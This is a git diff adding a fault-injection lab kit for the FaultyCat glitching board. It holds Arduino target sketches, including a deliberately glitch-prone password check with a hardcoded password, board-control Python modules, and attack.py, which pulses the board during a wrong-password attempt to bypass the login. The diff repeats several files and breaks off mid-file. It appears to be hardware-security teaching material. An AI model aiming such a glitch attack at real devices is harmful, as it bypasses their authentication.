\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
